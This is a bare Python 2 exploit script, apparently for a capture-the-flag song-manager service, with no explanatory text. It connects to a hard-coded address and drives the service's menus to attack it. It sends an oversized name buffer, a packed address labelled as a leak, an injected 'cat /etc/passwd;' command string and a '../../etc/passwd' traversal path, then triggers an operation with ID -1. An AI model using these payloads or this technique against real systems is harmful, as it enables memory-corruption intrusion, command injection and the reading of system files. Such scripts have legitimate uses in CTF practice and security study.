exploit2.py

import socket
from struct import pack,unpack
from ctypes import c_int32
import telnetlib,time


REMOTE = ('54.92.45.49',32902)
LOCAL = ('192.168.55.128',31337)
BUFFER = 4096



s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(LOCAL)

def recv_until(str,debug=1):
	recv_ = ''
	while not str in recv_:
		tmp = s.recv(BUFFER)
		recv_ += tmp
		if debug:
			print tmp
		continue
	return recv_



## CREATE SONG
s.send('1\n')
recv_until('Name:')
name = "a"*239
s.send(name+'\n')
recv_until('Artist')
s.send(name+'\n')
recv_until('size')
s.send('8\n')
recv_until('Lyric')
s.send('a\n')
recv_until('Exit')

## CREATE SONG
s.send('1\n')
recv_until('Name:')
name = pack('<I',0x0804b014   ) # leak
name += pack('<I',0x41414141 )
name += "cat /etc/passwd;"
name = name.ljust(94,'/')
s.send(name+'\n')
recv_until('Artist')
name = "../../etc/passwd"
s.send(name+'\n')
recv_until('size')
s.send('8\n')
recv_until('Lyric')
s.send('a\n')
recv_until('Exit')

s.send('4\n')
recv_until('name')
s.send('hihi\n')
recv_until('ID')
s.send('0\n')
recv_until('ID')
s.send('0\n')
recv_until('ID')
s.send('0\n')
recv_until('ID')
s.send('0\n')
recv_until('ID')
s.send('1\n')
recv_until('ID')
s.send('-1\n')
recv_until('Exit')

s.send('7\n')
recv_until('Exit')




s.close()